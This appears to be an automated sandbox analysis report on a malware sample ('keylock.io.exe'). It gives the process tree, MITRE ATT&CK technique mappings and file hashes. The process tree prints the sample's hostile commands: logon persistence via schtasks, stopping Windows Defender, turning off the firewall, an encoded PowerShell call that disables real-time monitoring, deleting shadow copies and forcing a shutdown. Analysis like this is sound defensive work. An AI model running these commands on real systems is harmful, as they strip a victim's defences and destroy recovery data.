- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe"
  2⤵
  PID:4576
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "NanoCoreUltimate" /tr "C:\Users\Admin\AppData\Local\Temp\keylock.io.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Command "sc stop WinDefend"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5788
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5796
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4976
- C:\Windows\System32\shutdown.exe
  "C:\Windows\System32\shutdown.exe" /s /f /t 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2284
- C:\Users\Admin\AppData\Local\Temp\keylock.io.exe
  "C:\Users\Admin\AppData\Local\Temp\keylock.io.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2140

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4768

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3906055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5580

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2972

C:\Users\Admin\AppData\Local\Temp\keylock.io.exe
C:\Users\Admin\AppData\Local\Temp\keylock.io.exe
1⤵
- Executes dropped EXE
PID:5452

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 06f5dae68cd477e5f5001dc65ab190cc7b65011022066621b1a76a16fe269481
MD5 c0902111fbf560d9a8d7782c0b09c5a8
SHA1 6de9e897d3fbd1e23652b2cc4347a91f9d7a7717
SHA512 53e018d34c0084fc92bee5b6a115c41bc7671ef8bf16be373c0f7b60a3b8636fd2b5e912fd60f207e7dbcf80d47bac947a4432f54eafb0b302bf715e7932525d
MD5 SHA1 SHA512

Submit Download

f_000006

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000006
Size 29KB
SHA256 2a5ecd5e26156bd1606f90777ac10f52e0101c2570aae9ccc95bbe05cb883b12
MD5 9aba54da5d9051aa835d91815a427a5e
SHA1 dd8d53fa8346cb3c92b624fa7af4585a4b5b43c2
SHA512 28141ca50bb8a634e8e8f6f187b27b0476ee4c46048f31a922e07e4efd6df1c3295eb6c7ebaf882db17a83ea063002a04995cc5db84da8e61cb808d710b80985
SSDEEP 384:SLLrxjZVbtqAS8fpO6aVkXT+8OgEAA0tyFZthAXKgAX+x3862Fjiu0jeBzLNRx2p:0Z/qAScpyNzJWoEXKgM+x3Dj4FW9t5/
TLSH
T12CD2F125E539F8A1CE381930E7F725BCECEC9B17A585B169B4B2561D834A032F9C21D2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000007

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000007
Size 51KB
SHA256 e5d8d987fd8967aecd89a9b07b8f865debd3c08ed280edc9bc038a801b3509d9
MD5 200d65d14c764cb93b2c67d70942536d
SHA1 9306b66248eb18cd471fb639fdd236412f5cd79d
SHA512 d0f8df3bc1a674457b64806951841f97b2fc2bd056fe800ed5ccb4b85b80e8c94c7914e84bc3905bd60364dc83c733f62fb34da21a24083eda0c69a7ceda749a
SSDEEP 768:4wUUF+QK38TPIhASu0rsgl6kxrfFQHOnxezk2HhWC8u0ZXTGcK8GO91GlLAcTyOX:4wRTPhSjl6OTjxezkuhWCEKzqGi+XY0z
TLSH
T1A033026E50CB41A69DC8E214472B94281A2EB7BC3C5255758267790FDDE870FDFCD830
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000008

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000008
Size 211KB
SHA256 1e15321379d418a3ef0d8fc098b86d239bd3d11da640230372413a2fd3919d7f
MD5 22029c04682c28e41e9f66c3c43fdba7
SHA1 e882473d987d2cd7b9c109626682a09ac2094329
SHA512 d98839f521863c3db8bdcea63786ce25013c28dd02d092845488d6182dd45c9bd14833dec1b1de41a2925a691d4d9bdaa676deb979440d4cca5d9003b1dcc820
SSDEEP 6144:XqTA6POFP37RDqPkpc1dUrRLQDe7dKhlxSDz:UAEO9drc1du+e7Uxq
TLSH
T1632423CA778335517782363BA4D6E81C9CE840DBE006DB406572792DE5F9CE392BA723
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000009

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000009
Size 49KB
SHA256 803c554eb58a3b2055fa21beada9015dff7e8fabed989f310a6f5d8f4914731d
MD5 c6f55a8bf8f8a636d9630aa92751b350
SHA1 2bef29541483e4ba7b7009f2ef0e08fbd00003e4
SHA512 505ea0d4c1be82deaf7618feec682c283d2b49e45b8231d4256349d94af6d018af511148527b116264ab9971c57acca3325bcf5d0a53900496b4d9bbaab214cd
SSDEEP 768:wSNPpDhLJFSf7Ija/4LuW6EpZOVYeQvb3LFykXxYgueWzj7ba97XbXcu4yaWa6e9:wSNpUf7IjaQSWFpZO2bxPYMU2xE4M
TLSH
T18733019F3EF54240815E23E859972C3BD69929501ECDB10BAFA8548D4B3CEEFE410CA5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_00000a

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00000a
Size 25KB
SHA256 ebc0450958c942273a41cc85cabaa6b90bb0afb5e3d3a7ac710b77727a9d2eed
MD5 90a1ed1b111c49eb69037fdffde6d759
SHA1 64f0ae3256c965cbf848285565b10e398832b229
SHA512 5cc6054dbd90b2856aea706e7fdcac76d38e765a555106919f6181c312bfa478d19e207b6858e5ff24adad69b094f5083a965b4c519dbe666703eccac7025abb
SSDEEP 768:I+ZKgLIJkhDWejVyzfk9qC00AL7S6W4/mm:I+ZKgyIWe5KfZCd87S6P/5
TLSH
T1AFC2F1A20D7F8AB8110D69452CD4FC7479EDC2906C47DC61C808A47FA0DA2F5B9DBCAD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_00000b

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00000b
Size 45KB
SHA256 392f362990099e5d6c41ef51325dc93dc0e7b4280ed55021acfa1ec48899cb65
MD5 2fd57ec68ffb7e1731e9c0f777eaccd4
SHA1 35c6c17d9c13ffbe75124dbc3477a9e93764c495
SHA512 3addfe15f9a0c01e1cce68ddb8b6a7816c927af18571eee0a0b47cc0ec6f2a237cb1634aa1159ae0c0e1cbbad9fc5d535548a76b1f4d4f969f95baa4cab4c8ef
SSDEEP 768:J9aGNxbpa3rFl2w1uIEfSo9RXAFwpkr3M7OHEk15Xyu6oGb4JW8YkEC3XjlMe6:JyFR1nGSGxAFws3MEhyu6oPRnxjl
TLSH
T1922302A8DB1E546FD926E7E8D15F139072A0C258DE16C85CA9116B186F03D402FFF35B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_00000c

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00000c
Size 45KB
SHA256 df9645a0d8e419afc2156b6578cbe307d44c7b0890aef3b692637d554d630152
MD5 6ae46c4846490adfeb079eabd4a2ed72
SHA1 dc0b7c364d6465451cd60cfeb4c97fc0a7834726
SHA512 12a49ecc06d0a1747fad0316cf0209e933487c47cb1a1f20c36ab0b8badb177b1ce6b4aae20753df1759b357de4c0bbe59b389117a1b1b457cf5727d1b30f7d7
SSDEEP 768:n7CANIux6forbU/i6gHyvuNBz+IgspmcAPHqj+w2WfTFF3YKejxtx:7CjD+Y/aR+3Wj+w3Tjaxtx
TLSH
T1632302EB3022988EEC18732119751B17B8A6D50BE6D64FFFA91DE4A13160D5FAD8284C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_00000d

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00000d
Size 48KB
SHA256 50049fe22ed78412fbd6e5ba7e2138b3fe61cf8c588e33dc5da7a9a2b41f1ed8
MD5 2439795b98f35f38855669d263d8bb0b
SHA1 f8c7efec09a7d5ae47b962df8622a26b74160615
SHA512 6851d427671623fb6363d6ad8aed8852cc1cbe99f1e6dfb876c305ac432b81e58c76c0aa1f71690b4c5661289a6e4306cb41175c27f03c9fcf017441aa8b0973
SSDEEP 1536:oM6w79ODztzaw2ayVGWBnA/8V7eEkPzuc:f6cMzf2r3BsW+zn
TLSH
T17323F2D295ED3E3AF7F4A440E4A3704BBF7854EF8DB5E5EF98649050804D0A20DB89A5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_00000e

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00000e
Size 52KB
SHA256 7ac512d2276b09431ca85e43d9553c407b38739e01da7f262c3b77a33c650ebd
MD5 a4b738b042d68940c9b45d7393daf1a5
SHA1 a0751741f5a3e80475699362f9d4e45e2d30502b
SHA512 36c8fa1d2eabdb24ee4b2cabf89251fcae71272d084d1011368851fa7a1241053f5e2ae1381df33f91bda920571e22982cefacae5a566446d7c31d20e92c8917
SSDEEP 1536:kqWovsOZXv+cRDiN6Li3rgEfy/B0Nk4yqit:kqWAZ//DtygEfg4yqit
TLSH
T1D73301C38EF8E46098151828A850886B6FB5852D6C8D3F5AB71DF21FC7E9E3B141765C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000010

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000010
Size 34KB
SHA256 9386cbd2f39657287d20f50cc55c5a0b09f2604bf6e17306e8b807c872766cfd
MD5 d2b0580d5864ba589ac0dfda03db8b4c
SHA1 62123de85197779ad3aa71dd883065c8d5229c68
SHA512 7c76bb5ce4641df9365a8368d325bbec03293dc0011501b3bc26cb9bcd1c3e3e93f9e02d39cec39e54f7908801065ed1657b949080174fb09243b66fbea65b49
SSDEEP 768:HunG/qk3U022ua1hFP+ADIAFE2/q9hwrZ6lIYs:Dqq8anqCuhS6lPs
TLSH
T12EF2F16ED299C0FC02B46FD24C6891E5CD364345F5DA78F69A0FB9C381B8500E98D64F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000011

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000011
Size 59KB
SHA256 feab0ac850f60330a8578ff85ec52ad740d6e76c63aac6f56b569b4d86461467
MD5 8bbb260c8435e1bb53c5dc043c3039f0
SHA1 73dff90dfe60205917ad65e58cde1501e5ed5c45
SHA512 0edf986eb3cd5346d88918c0bbe1f08573ea6f307a8d7c5b268f0a58806d041447357010bff4a439fe8099d4e76a25cd74651ae4801b073710134414fbf52811
SSDEEP 768:TUKvHGhuOqNoK0Dw9aA44VW8/iSMAW8u35PuQVFRW2u+gYOsAKUmn30H6iCNRoaB:wbzqNojAzVWPpFRBgSnkHiNu6Oun
TLSH
T1865302FC5006A7906BCFEA4196C419F506F4897F8DEE4B9CAB181E7613280CA457B7F4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000012

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000012
Size 64KB
SHA256 2d91f3a9c9db45961454eab50285515caccfe55a7fa15c1047cc74febcbb1199
MD5 0c778f6ecfb531f08a7cbdb55c30ec81
SHA1 10839419e91be0e86e52b5d7f44b3c1cc759a925
SHA512 a4b0929db3f8b47a77024e506e6bb413db561739710ce97abaa479ff57be7434ecc772f8897d026b9167a2514d02258052a6135ef209a9ec66d30a2f73acefdc
SSDEEP 1536:DBV/TgAYzRx7IhYrTmb8EiwIvPs6HtEgxqPcSejXSJ4:/0xcATg8MIvPs6NEgxqPcSe7j
TLSH
T1E353F168A6168DD3C43F4D7B231DC65342B92510C28DB5AA407E8BB3BF7E7B0AC41A74
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000013

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000013
Size 66KB
SHA256 3811ab88befb3d97a4ae54fd2d52d92dff99efcee63a1b817c5f32a0fe3f6683
MD5 bdc56489f5ba12fd329927afb8e87347
SHA1 3d777b603e41c8dbae6cb10e39ed5685f2db5564
SHA512 c95cb0ad1362e1357b126a2ba6e14e330364bb7f63e97d567b22f8ffddde36115e4dc2379ca795ca6adb5149678c708aa54d70a640b9e69faf38778561e49bd9
SSDEEP 1536:aniG7ZpaWM1BcrjHjmzivwqoaK6USTD8qzraDgh8ihkCh+QiP:8aWCSrjKzivlfTvCyDkCh4
TLSH
T1E06301E643C791FE75368124218E6A0449B58FEC31BDE9043CB7FB47944F288788A6B8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000016

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000016
Size 54KB
SHA256 372954d67dd2ad439b918bf4cccfee8dead59fafc80c97ef985dffe085243bd7
MD5 350ebb63d0091a1c1d4647e378485ef1
SHA1 9dab1fc21c152f0d3a74b961de5ee3e0fa8992bf
SHA512 0f76b01e996cbe33e712ed86a06f179f392da220a332919becc2c58254b974a72f9b01189b40fb2f6f1ce9ec5e9be4d4563831d01b4b20bebbfa44dd379962b0
SSDEEP 768:hEEJVs5Yp1DZsA4rW5Qf0hBtcF++FFmnFhHAQz553hYhf58Q5jllOVdEyiewp:mE45+DyA4pshBkFmnFhH173gLc7wp
TLSH
T1E743023D8830A4D4F6E6D52ABDDE36F823410ECB72387FA1DC47955B9B26CCC1A56812
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000019

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000019
Size 94KB
SHA256 04179266c66e5e16839f9f4987f4fb5ce5664638d8c008a656ee861c65ec42be
MD5 fd450624cf6301591b7f64fde74382f8
SHA1 f458ff3ed38f2af86617be520fb357a1b4fb3119
SHA512 462231590612e2a7f3ff28f6029ef7051dd388cec48adfc88a9fdb100f193baa6a6d3e64e6b6e475254a78f53f7bfc73c31f3d0c4cef2e02571f405e103793a4
SSDEEP 1536:U8/vASBce1GZ1R8/vASBce1GZ1844zd8xEaS0QrDQhjiciK3H9xJ2jXNXOs:xvA2crZ1AvA2crZ1TfEX0QrGic/HvJE3
TLSH
T18C93E04DEAA2CD40E8E08778F5C5878BABB1676656D35BC0782ECD4077D22925C0CDBA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_00001a

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00001a
Size 109KB
SHA256 284afaba4005dd7ad2521a6b0b6b5dc963026856f3405332663ba196e80bea4a
MD5 82a544a6615451729583794f8f45bece
SHA1 02b340529af214a4ec7414dc555d3e225ffa752d
SHA512 53e1550e9b7ec918360e7d363483a40acda6f13796802f8e2cd200a91115d406c63f841dbc2ccec0dc23e19451165600c3b7cde92b92bb8ff6ca2c2f639adaf0
SSDEEP 3072:zw5VVw5V3xRvJc/ytMZlNR+h5Dz7lij9YJkac+0G:zowvJZg/Rq7lIItc7G
TLSH
T16EB3E15EDD811926D8E8C130FE85CF4DA770636528E331D13B2EDA24B7EA6921C4DCDA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_00001b

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00001b
Size 119KB
SHA256 debf2643ddb53541cd39329602c9970d97006b481f67471a2859050ab69b7dfb
MD5 8efb7ed00fe3603353868009bd0b8d56
SHA1 77eb614852a4034704f57e0b72af71f21570c2b4
SHA512 4a859a6d25cb1e4ec8c911031ce6db5173b78f2730affa96d3e95fdb92e3f42fe7a583deca1c57538bcc9ac8b264ae2976c4dc19c533b871b77097603ee1cb1f
SSDEEP 1536:pE2HkTE2Hkfm8pYceeeNM//HAmVM8J4rYjDear4F7Bhuno9yotYAmbwqQ0V35Wwn:0Gu8peNM/Ygn4rcrWBEno9/tYr4wxIEj
TLSH
T17AC3E19EDD82DC06DAE85734FB958A4ECEB11A1694D201F03E3EDDAD73C7542181EC8A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 038bef87cc6cc8ad0d140b9277f560b54e4e8ae672d232791509e9e8f37004aa
MD5 43c797e7412f1c78db238164845e7dfa
SHA1 0990a615bc86df28498faf9c1573bec066c058e8
SHA512 6da24c90b991544f51385ff373eb92d9039ee61639132733479b0152c3a44a9f598f6987143dd8e1bf1fc1d42be8c49b0716b5a854e42e29d1143479c82138b1
SSDEEP 192:sRu87BoiOhyKfv73pAPRp2nl09YHsb+WNn4K2QyurqNkGj10/aBrVyIsnAUg5m:sRu8t1O/3TUX3Cw4zsrqyGRiaL5m
TLSH
T10842E72EA814753B4CDBD22AF961775BD7F5102234D02E88DBFC962C14E76CD222B417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 17KB
SHA256 faf205f38f14aaebb964cc4c6cac86c1d9eed1cc4597cf300d120c12563fcb8a
MD5 cfbb6fe69b1dcf37ae21233f58e196af
SHA1 ed1c796023f5198d2aee9d10882084cdf4376191
SHA512 b9f045a63479b9bdf49685c0d4fc4c6a89a446e520e63af89b50cd1c6be690f1e59e8fa198935484ea5c349cca94ef2e2362cf52b4b372d92b7c9f519f144eb0
SSDEEP 384:rVjn27KxkXqKf/pUZNCgVLH2HfgsljM7pLuLcifx8XODnS+ErU3iIHGk0cvXwv:rFn27KxkXqKf/pUZNCgVLH2HfgslM7pd
TLSH
T14A7209A77C4C9E770F94C6CCDC267E4F9CB5024A65E9886883FA982903D5ACF114A1F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 89KB
SHA256 6abc5dcdb91e46d77067fef0901547a58a582de640dc9507211e52785044b235
MD5 30fc0676f4d87702802bb53c9a4aee8b
SHA1 c5eaa490f309d48e166464763d56dfe9be48ee1f
SHA512 8aaaa39befe864316d4890bfb1e41221cfb0afc497b091a206a499e83b1cc163f09a2bad8135b7a5c91626a9912b0af6ebbf9417da513fd31055c505ec275e65
SSDEEP 1536:5H6cYRrL+PTA5F9/EO93Sos5EA3A820kOzXmUWUSGbqRszr6vFAlZLPm+6jR9YEj:I3Qw/xLANk0mUW5GmRntSFCjEENV
TLSH
T1FE9312BA4E1A46F7957D468276AE7808CE22234D709FA9CC315CA39C71D41C92B73E73
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 91KB
SHA256 563329922336e2bec759a2dba516d9916cbab11aae0ee95b43654530260ce47b
MD5 01f0b28ef7d4ba38205627b0eef09f6e
SHA1 d075fc1038c04fe199d240da948ebc01b40c2a8b
SHA512 00325826c195b3af9795ed42c53b0fe4c0220dc1bd73c1fd6761bbbc8e9fc833b892a6ce901fd415fae94d634f680db7bd60ff8b88c120ea6198e81aa19290f4
SSDEEP 1536:1cKxXcYRrL+PTA5F9/EO93Sos5EA3A820kOzXmUWUSGbqRszr6vFAlZLPm+6jR9Y:mcX3Qw/xLANk0mUW5GmRntSFCjEENg
TLSH
T1DF9312BA5E2B46F7557E4692725E7C0ACD12230D715FA5CC3268A39C20D41CD2B73E23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

keylock.io.exe

Path C:\Users\Admin\AppData\Local\Temp\keylock.io.exe
Size 30KB
SHA256 cb65ce63c269cb0a817fd1ba6614f220c848477775d28410507f9cd258f8a75d
MD5 7a753280bd35ff55b0b16a282a6d023d
SHA1 2788bff0a5278db254633f9ea435f08c5387c282
SHA512 af9d42287c0512f158511d9088ff0ea8e6074e78900b2965b01b0fea676630dcb38330e61ff442b3d413a0b48a44b5bd8f9121fb65827a28a10eaddec74c8a33
SSDEEP 384:AhEhj82glfgjIJ1CAlgzzQBzCkukiMFZlWB/b7g6OEO6g5Oo+R2Iii5av8+EOkdv:AVN86gPetlWBj05tB+R2AEPa3kCF
TLSH
T18DE2F94837EA86A1D9FE1ABE083392105730F917ED13EB1D0FD465892F637458E987A3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 6KB
SHA256 4b5195c9733e260cbc23396b3a368d5000d58089b9d355b7d11d0efc3f2b9435
MD5 2929c4cdb9cc140a7c160ed1ba686de2
SHA1 2daa2a65d5d335dc3521fb18fa28bf178c360176
SHA512 2e60cd0232543124b9316e8f4181b70d9a85964e52c409d31a82e1f99e65012de1090d8f47d38a58d0afc30485ce2acc282fe24295cf6ba9167a174b01c9fa15
SSDEEP 96:OrTWB1CpW0FukvhkvCCtOxs3gjM0QHkb4b43gjM0QHkb4bN:CCBwncjKM0f2AKM0f2N
TLSH
T1F3D1BB1067F75619E2F78F39ACBAA7319631FC05DE069BDF0240951CAC70124E93A72B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 6KB
SHA256 c0b0095f5694804f75eb214282f1bb070ef7da5aa78abdbf22bf7c1c69a2c7bb
MD5 87b0f0ca2d84fc1c4cd8cb53af902fbb
SHA1 ee30fac5af97bc8e323f39b80ca669586767dc5e
SHA512 dc80f6e9d39cf8e06cb76543845446a0415fcea3331ab5413d9f4a742a9776aeebd7eec03d7ffe614a8aae7a29cf9e028661912df7d3efb32b7bf0ab8ed616c3
SSDEEP 96:2rnuBNChQUFukvhkvCCtOxs3gjM0QHkb4b43gjM0QHkb4bN:6uBopcjKM0f2AKM0f2N
TLSH
T199D1CB1067F75218E6F78F39ACBAA7319631F805DE069BDF0240955CAC70124F93A76B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2140-315-0x000000001B3E0000-0x000000001BB1F000-memory.dmp

Download

memory/2564-314-0x0000028547DD0000-0x000002854850F000-memory.dmp

Download

memory/4876-281-0x000000001BA30000-0x000000001BA40000-memory.dmp

Download

memory/4876-316-0x000000001B150000-0x000000001B88F000-memory.dmp

Download

memory/4876-317-0x000000001D7F0000-0x000000001D807000-memory.dmp

Download

memory/4876-0-0x0000000000550000-0x000000000055E000-memory.dmp

Download

memory/4876-1-0x000000001BA30000-0x000000001BA40000-memory.dmp

Download

memory/5788-368-0x000001FE05370000-0x000001FE05AAF000-memory.dmp

Download

memory/5796-313-0x00000240F2430000-0x00000240F2B6F000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads